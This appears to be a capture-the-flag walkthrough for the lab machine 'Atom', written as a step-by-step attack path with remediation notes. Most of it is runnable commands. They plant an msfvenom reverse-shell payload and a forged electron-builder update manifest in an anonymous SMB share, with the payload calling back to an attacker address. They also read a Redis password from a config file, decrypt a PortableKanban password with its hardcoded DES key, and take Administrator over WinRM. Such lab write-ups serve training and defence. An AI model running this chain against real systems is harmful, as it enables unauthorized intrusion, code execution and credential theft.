jperezduerto.info
Atom
Summary
Target atom ($TARGET) runs an Electron-based note application whose auto-update client polls an SMB share that any unauthenticated network user can write to. I exploited a known electron-builder signature-bypass flaw — a leading single-quote in the installer filename causes the updater to skip code-signing verification — to plant a malicious update manifest and reverse-shell payload in the share.
An automated QA process on the target executed the payload, returning a shell as user jason. From that foothold I read the Redis service password stored in cleartext in a world-readable configuration file, authenticated to Redis, and retrieved an encrypted Administrator password stored by the PortableKanban task-management application.
Because PortableKanban uses a publicly known hardcoded DES key and IV, the ciphertext was decrypted offline in seconds, yielding the Administrator cleartext password. That credential authenticated directly over WinRM, completing full system compromise without any local exploit.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"
export PASSWORD4="<the-password-you-recovered>"Some commands also carry a value in angle brackets — <base64-blob>, <guid> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 4
Version + default-script scan of the relevant ports.
$ nmap -sV -sC -p 80,135,443,445,5985,6379 $TARGET -oN atom_nmap.txtCheck share permissions for the null/anonymous session.
$ smbmap -H $TARGET -u '' -p ''List all files and subfolders in the writable share without credentials.
$ smbclient //$TARGET/Software_Updates -N -c 'recurse;ls'Download the procedures document to confirm the auto-execution trigger.
$ smbclient //$TARGET/Software_Updates -N -c 'get UAT_Testing_Procedures.pdf'FixRequire authentication on the Software_Updates SMB share and restrict write accessCritical
Exact commands 3
Confirm the Heed app download link on the web root.
$ curl -sk http://$TARGET/ | grep -i heedDownload and unpack the Electron installer to inspect app-update.yml.
$ wget http://$TARGET/releases/heed_setup_v1.0.0.zip && unzip heed_setup_v1.0.0.zip -d heed_appRegister the discovered update vhost so curl/redis-cli resolve it correctly.
$ echo "$TARGET updates.atom.htb" | sudo tee -a /etc/hostsExact commands 3
Generate the reverse-shell EXE; the leading single-quote in the filename is required to bypass the signature check.
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=4446 -f exe -o "r'everse.exe"Compute the base64-encoded SHA-512 hash and byte size needed in latest.yml.
$ sha512=$(sha512sum "r'everse.exe" | awk '{print $1}' | xxd -r -p | base64 -w0) && size=$(wc -c < "r'everse.exe")Write the electron-builder update manifest; substitute $sha512 and $size from the previous command.
$ printf 'version: 1.0.1\nfiles:\n - url: "r'\''everse.exe"\n sha512: %s\n size: %s\npath: "r'\''everse.exe"\nsha512: %s\nreleaseDate: 2026-07-11T00:00:00.000Z\n' "$sha512" "$size" "$sha512" > latest.ymlFixUpgrade electron-builder and enforce code-signing validation in the auto-updaterCritical
Exact commands 3
Start the listener before uploading — run in a separate terminal or tmux pane.
$ ncat -lvnp 4446Upload the manifest and payload to client1; repeat the same command for client2 and client3.
$ smbclient //$TARGET/Software_Updates -N -c "cd client1; put latest.yml latest.yml; put r'everse.exe r'everse.exe"Run from the jason shell after the callback to capture the user flag.
$ type C:\Users\jason\Desktop\user.txtExact commands 1
Run from the jason reverse shell; returns the Redis authentication password.
$ findstr /i requirepass "C:\Program Files\Redis\redis.windows-service.conf"FixRestrict access to the Redis config file and bind Redis to localhost onlyHigh
Exact commands 2
List all Redis keys to locate PortableKanban user records.
$ redis-cli -h $TARGET -a "$PASSWORD" KEYS '*'Replace <guid> with the key returned by KEYS; retrieves the Administrator PortableKanban record containing EncryptedPassword.
$ redis-cli -h $TARGET -a "$PASSWORD" GET 'pk:urn:user:<guid>'Exact commands 1
Replace <base64-blob> with the EncryptedPassword value from Redis. Requires openssl 3.x with the legacy provider enabled; the hex key is the ASCII encoding of the key and the hex IV is <withheld>.
$ printf '%s' '<base64-blob>' | base64 -d | openssl enc -des-cbc -d -K $PASSWORD3 -iv $PASSWORD4 -provider legacy -provider defaultFixRetire PortableKanban and replace it with software that stores credentials securelyCritical
Exact commands 3
Validate the Administrator credential against WinRM; expect (Pwn3d!) in the output.
$ nxc winrm $TARGET -u Administrator -p "$PASSWORD2"Read the root flag directly via WinRM command execution.
$ nxc winrm $TARGET -u Administrator -p "$PASSWORD2" -x 'type C:\Users\Administrator\Desktop\root.txt'Alternative: open a fully interactive Administrator shell via evil-winrm.
$ evil-winrm -i $TARGET -u Administrator -p "$PASSWORD2"Exposed services
| 80/tcp | http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27) |
| 135/tcp | msrpc Microsoft Windows RPC |
| 443/tcp | ssl/http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27) |
| 445/tcp | microsoft-ds Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP) |
| 5985/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 6379/tcp | redis Redis key-value store |
| 7680/tcp | pando-pub? |